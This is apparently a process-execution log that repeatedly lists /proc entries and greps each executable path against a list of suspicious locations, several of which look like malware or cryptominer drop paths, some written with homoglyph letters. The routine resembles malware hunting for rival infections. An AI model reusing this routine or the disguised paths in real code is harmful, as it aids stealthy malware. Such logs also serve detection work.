[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/331]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/359]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/36]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/37]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/379]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/380]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/385]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/4]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/420]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/5]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/6]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/670]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/674]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/678]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/679]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/686]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/7]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/70]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/700]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/701]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/705]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/706]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/707]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/709]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/71]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/713]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/714]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/72]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/73]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/74]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/75]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/752]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/754]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/755]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/76]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/77]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/79]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/8]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/81]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/82]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/84]

/bin/grep

